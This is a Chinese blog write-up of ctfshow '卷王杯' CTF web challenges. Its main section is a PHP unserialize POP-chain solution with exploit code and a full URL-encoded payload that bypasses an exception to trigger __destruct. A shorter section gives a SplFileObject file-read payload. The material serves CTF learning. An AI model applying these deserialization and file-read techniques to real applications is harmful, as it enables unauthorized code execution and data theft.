ctfshow卷王杯部分web

CTFshow-卷王杯-简单的re(复现) 普通的upx壳,放kali里面脱下壳就行 运行 进入主函数 __int64 sub_401165() { int v0; // edx int v1; // ecx int v2; // er8 int v3; // er9 __int64 result; // rax __int64 v5; // [rsp+8h] [rbp-1018h] char v6[112]; // [rsp+10h] [rbp-1010h] BYREF int v7; // [rs.. 阅读详情

ctfshow卷王杯web部分[easy unserialize&easy web]

easy unserialize

点击这里观看体验更佳
(经过大佬的指点,我在后面加了一种GC利用的新姿势在这个站里)

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

这道题有幸拿到了二血,这道题做了之后学会了几个新姿势,我接下来分开来讲

  1. 了解__destruct()魔术函数的调用条件

__destruct()方法又叫析构函数,当程序结束销毁的时候自动调用,看下这道题中的代码

$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");

这里有个throw函数,大概是抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法,这里我们就要想办法在throw函数执行之前调用析构函数,目前我知道的调用该函数的方法如下

  • 等待程序完整执行完毕,也就是解释完最后一行代码,这也是我们最常用的方法
  • 利用GC回收机制,比如
<?php
highlight_file(__FILE__);
class Demo{
        public function __destruct()
        {
                echo "Running method <destruct>";
        }
}
$a=new Demo();
// $a=null;
throw new Error("this is a test");

image-20220227190047954

然后我们把null赋值重新加上

image-20220227190130895

发现成功执行了__destruct函数,这也就是利用了GC回收机制让这个对象提前销毁,具体的GC回收机制可自行百度

那么这道题我们要怎么绕过呢,这里我们可以利用反序列化的性质来做,反序列化时从左到右的顺序进行重构的,所以我们只要构造出以下类似的结构就行

 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}

这个payload可以由下面这个demo获取得到

<?php
highlight_file(__FILE__);
class Demo{
        public function __destruct()
        {
                echo "Running method <destruct>";
        }
}
$a=new Demo();
$b=null;
$c=array($a,$b);
echo serialize($c);

即定义一个数组,其中有两个值,第一个为实例化的对象,第二个为另外随便的一个值(这里赋null以外的值都可以),然后会得到``a:2:{i:0;O:4:"Demo":0:{}i:1;N;},将其改为 a:2:{i:0;O:4:"Demo":0:{}i:0;N;}也就是将第二个反序列化的序号改为0,这样就实现了对Demo这个对象的重新赋值,达到了提前是对象摧毁的效果

  • 最后一种就是利用unset()主动销毁,这里显然我们不能,所以忽略

现在算是过了第一关了,那我们开始审链子

  1. 不难发现我们最后是要调用one::MeMeMe,然后进入链子的起始点为one::destruct,顺着起始点往下跳

public function __destruct() {
        @$this->object->add();
}

这里调用了一个add的方法,由此可以跳到second::__call

进入second::__call:

此时调用了一个回调函数call_user_func([$this, $func."Me"], $args);分析一下他具体的调用结果,首先第一个参数[$this, $func."Me"]这是数组调用类方法的方式,其中$fun的值为访问的那个函数名,也就是add,所以总结下来其实就是访问second::addMe,然后再关注second::addMe

protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

这里将filename的成员变量与一个字符串相连接,很容易想到__toString方法,然后就不如到了one::__toString

public function __toString() {    return $this->object->string;  }

这里访问了string属性,可以想到__get,然后跳到third::__get

public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }

分析一下,变量var的值为 t h i s − > this-> this−>name,也就是$this->string,然后调用一个方法,其中name的值不可控,var的值可以通过修改string的属性来控制,也就是说这里就能动态调用了

梳理一下链子如下

one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe

  1. 链子找到了,就要想办法实现,这里有个问题就是这里存在反复调用的问题,也就是one对象到second对象,然后有条回来,这样可能不能反复赋值,因为这样的话就进入死循环了,所以我们可以实例化两个one对象进入

具体的实现方式exp如下

<?php
highlight_file(__FILE__);
class one {
    public $object;
    public function __construct()
    {
        $this->object=new second();
    }
}

class second {
    public $filename;
}

class third {
    private $string;
}
$a=new one();
$b=new one();
$c=new second();
$d=new third("haha");
$b->object=$d;
$c->filename=$b;
$a->object=$c;
echo urlencode(serialize($a));

然后带入自己本地调试的文件中结果如下

​ image-20220227195432897

<?php
highlight_file(__FILE__);
class one {
        public $object;
    
        public function MeMeMe() {
                echo "<br>hahahaha";
            array_walk($this, function($fn, $prev){
                if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                    global $talk;
                    echo "$talk"."</br>";
                    global $flag;
                    echo $flag;
                }
            });
        }
    
        public function __destruct() {
            @$this->object->add();
        }
    
        public function __toString() {
            echo "<br>Enter the tostring method";
            return $this->object->string;
            
        }
    }
    
    class second {
        protected $filename;
    
        protected function addMe() {
            echo "<br>addMe";
            return "Wow you have sovled".$this->filename;
            
        }
    
        public function __call($func, $args) {
            echo "<br>Enter the call method";
            call_user_func([$this, $func."Me"], $args);
            
        }
    }
    
    class third {
        private $string;
    
        public function __construct($string) {
            $this->string = $string;
        }
    
        public function __get($name) {
            echo "<br>Enter the get method!!!!!";
            $var = $this->$name;
            $var[$name]();
        }
    }
$a=unserialize($_GET['s']);

成功进入__get方法,如果我们只实例化一个one对象的话,可能就不能出现循环的问题了。另外这里我到一个php7的特性,使得绕过protect成员属性(对protect不敏感)

  1. 然后就是想办法进入到one::MeMeMe方法,然后拿到flag

终点看下这个函数

public function MeMeMe() {
            array_walk($this, function($fn, $prev){
                if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                    global $talk;
                    echo "$talk"."</br>";
                    global $flag;
                    echo $flag;
                }
            });
        }

由于网上的关于array_walk的讲解大多数都是使用数组,所以我们可以写个demo来实验一下他对类的用法

<?php
highlight_file(__FILE__);
class Demo
{
    public $object="this is value";
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            echo $fn."|".$prev;
        });
    }
}
$a=new Demo();
$a->MeMeMe();

image-20220227200313852

可以看到array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字,这里可以多设置几个成员属性来验证一下,我这里就偷懒没写,因为我之前已经写过了哈哈,也就是说我们要满足这个if条件就要添加一个如下的属性

image-20220227200808146

public $year_parm=array("Happy_func");
  1. 接下来就是想办法怎么在third::__get()里面怎么调用one::MeMeMe,最开始我想的是直接传入"one::MeMeMe",结果发现这样就不能自己设置成员属性了,所以这里我改用了另外一种方法,使用数组调用类方法,也就是传入这个payload
[new one(),"MeMeMe"]

然后再exp里面添加上上面成员属性就可以了,这里可以看到前面那个回调函数也使用了这一方法

  1. 最终exp
<?php
highlight_file(__FILE__);
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");
}

class second {
    public $filename;
}

class third {
    private $string;
    public function __construct()
    {
        $this->string=array("string"=>[new one(),"MeMeMe"]);
    }
}
$a=new one();
$b=new one();
$c=new second();
$d=new third("haha");
$b->object=$d;
$c->filename=$b;
$a->object=$c;
$n=null;
$payload=array($a,$n);
echo urlencode(serialize($payload));

image-20220227202258516

然后再修改一下得到payload

 a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D

image-20220227202402417

easy web

php数组键溢出,php原生类操作文件

首先可以令c=9223372036854775806绕过第一层,然后根据提示使用glob://协议读取到flag文件名,最后使用SplObjectFile类读取文件

image-20220227203017926

其中获取文件名的时候可以爆破md5值得第一位数

payload如下

c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php

image-20220227203224687

2022-卷王杯-happyFastjson 2022-卷王杯-happyFastjson 前言 昨天看了fastjson,因为最近比赛的fastjson出现的有点多。卷王杯Y4出了道fastjson的题目,考点是比较基础的东西,学习一波。 分析 import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.util.HashMap; import java.util.Map; public class FlagBean { private int 阅读详情

相关推荐

CTFshow 击剑杯 部分WP

摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录1.Misc中文识别带师2.Web简单的验证码easyPOP3.Pwnpwn01-My_sword_is_readypwn02-Precision_and_grace4.Osint英语阅读这是哪里卡鲁铁盒人家想玩嘛人有点多小城美食安装arph5.热身听歌识曲看图识妹进群得码 1.Misc 麻麻的 只会一题 其他的等复现再补充吧 中文识别带师 挺好玩一个题 格局打开 linux nc进环境(注意进

Nancy523的博客 4933

ctfshow卷王杯

ctfshow卷王杯 写在前面:这次的做出一道php题,通过这次的比赛,深入理解反序列化漏洞,通过复现学到了很多新的点 参考一篇特别详细的wp eazy unserialize(复现) 源码 <?php include("./HappyYear.php"); class one { public $object; public function MeMeMe() { array_walk($this, function($fn, $prev){

as you know, nlp is fantasitc! 772

[CTFSHOW][WEB入门]nodejs部分WP

文章目录前言web334web335web336方法一方法二方法三web337 前言 nodejs从入门到挖坟,今天早上刚刚学了一点,成功了,比较开心 web334 下载源码下来在user.js里面发现了用户名和密码,群主比较坑哈,搞了个大写,明明是小写,ctfshow与密码我忘了压缩包懒得下 web335 一道Node.JS的RCE 之后cat fl00g.txt即可 web336 方法一 先用上一题paylaod 尝试绕过姿势,也不行 那么试一下读取下文件呢,看看过滤了啥,通过全局变量读取当前目

Y4tacker的博客 4291

ctfshow(卷王杯)

首先我们的前提是if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c']))} 这里的name就是上面的string传进来的,但是 $var = $this->$name;array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字。这是个等于号,相当于赋值,而对于数组无法赋值的情况就是当键溢出就行,可以看到上一句有。如果是数组的话,第一个是类,第二个是方法,第三个是属性。

qq_62046696的博客 1870

ctfshow单身杯

ctfshow单身杯 web1. web签到 题目代码如下: <?php # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-03-19 12:10:55 # @Last Modified by: h1xa # @Last Modified time: 2022-03-19 13:27:18 # @email: h1xa@ctfer.com # @link: https://ctfer.com error_reporting(0);

Landasika的博客 1844

[ctfshow]大牛杯

web_checkin <?php error_reporting(0); include "config.php"; //flag in / function check_letter($code){ $letter_blacklist = str_split("abcdefghijklmnopqrstuvwxyz1234567890"); for ($i = 0; $i < count($letter_blacklist); $i+=2){ if (preg

Huamang的博客 1295

CTFshow-卷网杯-crypto-真·简单·不卷·现代密码签到(复现)

from Crypto.Util.number import bytes_to_long from secrets import p,q,r,s,t,flag n = p * q * r * s * t e = 2 m = bytes_to_long(os.urandom(500) + flag) c = pow(m,e,n) print(p,q,r,s,t,sep='\n') print(c) ''' 145332367700944303747548912160113939198078051436.

ookami6497的博客 1176

ctfshow 吃瓜杯 web 部分题

目录 热身 shellme shellme_Revenge 热身 <?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:53:59 # @link: https://ctfer.com ​ */ ​ include("flag.php"); highli

ccfly1012的博客 1020

CTFshow 菜狗杯 web方向 全

CTFshow 菜狗杯 web方向 全

Jay17的博客 7476

5个企业级SOC平台横向对比:IBM QRadar vs Splunk vs 奇安信NGSOC

本文深度对比了IBM QRadar、Splunk和奇安信NGSOC等五大企业级SOC平台的核心能力,从架构设计、威胁检测、运营效率、成本模型和行业适配度五个维度进行解析。文章特别强调安全运营中心(SOC)在现代企业中的关键作用,并提供了实战数据和优化建议,帮助企业选择最适合自身需求的SOC解决方案。

a1b2c的博客 664

微信公众号数据采集实战:历史文章、互动数据与评论详情全解析

本文提供了一套完整的微信公众号数据采集实战方案,详细解析了如何通过接口调用获取公众号的历史文章列表、单篇文章的互动数据以及详细的用户评论。文章从环境准备、核心参数解析到分页逻辑、批量处理和异常处理,提供了可运行的Python代码示例,旨在帮助开发者高效、稳定地构建自动化采集工具,用于竞品分析、内容研究和舆情监控。

u5v6w7的博客 1600

ctfshow-web-新春欢乐杯

以上就是我这次的解题流程和收获,目前的我要学习的东西还有很多,路漫漫其修远兮,吾将上下而求索。

wyjcxyyy的博客 1456

IT世界里的“国境线”(芯片与算法篇)

首先分析下概念,对于芯片,相信大家已经比较了解,就不做过多的解释。我们说一下算法,虽然算法是应用在IT领域,但我相信学数学的同学,特别是学习计算数学的,对算法应该更加熟悉。记得在本科课程中,专门有一门课叫做“算法设计”。从概念上来讲,算法指的是解决问题的方法和流程,是一段逻辑,一系列解决问题的清晰指令。或者更通俗一点来讲,算法是从A到B,所有可能的计算方式。 一、 芯片与算法的关系 芯片和算法并不是独立或者对立的两个个体。芯片本身就集成了算法。算法是一种逻辑概念,芯片是算法的一种表现形式,软件也是算法的

weixin_49664622的博客 7020

ctfshow菜鸡杯 部分wp

参加了ctfshow组织的菜鸡杯,自我感觉还是比较不错的,让自己学习了好多新东西。还有感谢师傅们的耐心解答。真的真的感谢。 1. misc3 这道题考察的是jsfuck编码(参考),直接将编码放入浏览器的控制台进行解码。需要去掉最后的括号 2. misc1 这道题让自己学习了好多。一个是crc校验循环冗余校验,另一个是斐波那契数列脚本读取文件。斐波那契数列 下载文件,里面是一张照片参考信息,可能是照片的长宽高隐写,这里可以使用crc暴力破解的脚本。参考链接 import zlib import str.

Firebasky的博客 2472

第12章 STM32+BH1750光照传感器+OLED模块显示环境光照强度

相比光敏传感器,它可以直接输出环境光照强度的数值(范围是0~65535lx),非常适合懒人党,各位的传感器买到手后,赶紧跟着文章试试吧!

qq_44645742的博客 1万+

金融风控实战:用Python从零搭建贷款违约预测模型(附完整数据集)

本文详细介绍了如何使用Python从零构建金融风控中的贷款违约预测模型,涵盖数据清洗、特征工程、模型构建与评估等全流程。通过实战案例展示逻辑回归、XGBoost和LightGBM三大算法的对比,特别强调AUC-ROC指标在金融风控中的重要性,并附完整数据集和代码实现。

weixin_29175469的博客 240

CTFSHOW-单身杯(WEB部分复现WP)

CTFSHOW单身杯赛后复盘

qq_61620566的博客 6301

Modbus协议介绍及解析

Modbus协议介绍及解析 1.Modbus简介 Modbus是一种广泛应用于工业控制领域串行通信协议,以其开放性、高可靠性、高效简单性、免费等优点,成为了工业领域通信协议的业界标准,是工业现场电子设备之间常用的连接方式。Modbus按其格式可分为Modbus-RTU,Modbus-ASCII,Modbus-TCP,其中前两者适用于串行通信控制网络中,例如RS485,RS232等,而Modbus-TCP主要应用于基于以太网TCP/IP通信的控制网络中。通过此协议,控制器相互之间、或控制器和其它设备之间进行通

逍遥子的博客 1万+

[ctfshow 2021摆烂杯] WEB部分 writeup

[ctfshow 2021摆烂杯] WEB部分 writeup web签到 一行代码 黑客网站 登陆不了 1.读一些敏感文件 2.利用web.xml写jsp???? 官方的wp:https://qgieod1s9b.feishu.cn/docs/doccnC4EpMhSv1Ni6mbL7BQQdBc

ShenZ的博客 1489

无需qt-creator,使用Trae从0到1生成qt的开发、构建、调试环境

没有使用qt creator,也没有在trae中安装qt相关的插件,我也没有写一行代码,纯粹聊天使用trae开发出了一个qt程序

cpp加油站的专栏 2949

(一)深入理解Bluez协议栈之蓝牙Mesh的支持(1/5)

BlueZ是Linux官方蓝牙协议栈。它是一个基于GNU General Public License (GPL)发布的开源项目,从Linux 2.4.6开始便成为Linux 内核的一部分。如果你是linux平台开发蓝牙的的工程师,肯定会接触过Bluez协议栈,hciconfig,hciattach,hciconfig等工具都是很好用的工具。

3323

CTFshow_菜鸡杯_部分wp

web web签到 直接看到源码 <?php if(isset($_GET['url'])){ switch (strtolower(substr($_GET['url'], 0,4))) { case 'file': echo 'file protocol do not allow'; break; case 'php:': echo 'php protocol do not allow'

monster663的博客 1379

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

CTFSHOW新手杯MISC部分WriteUp

简单做了一下CTFSHOW新人杯的MISC等部分的题目,收获还是挺大的,有兴趣的小伙伴可以去官网尝试做一下,如果喜欢本文不妨一键三连支持一下。

baimao__Ch的博客 2183

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

ctfshow DSBCTF web部分wp

需要值不同而 md5 相同,有长度限制不能进行强碰撞,尝试数组绕过也不行,这里注意到可以让其类型不同而值相同进行绕过,构造 pop 链最后得到 flag。

2301_79700060的博客 1093

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

上一篇: typechoSEO站点收录插件推荐
下一篇: [NISACTF 2022]WriteUp web篇
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值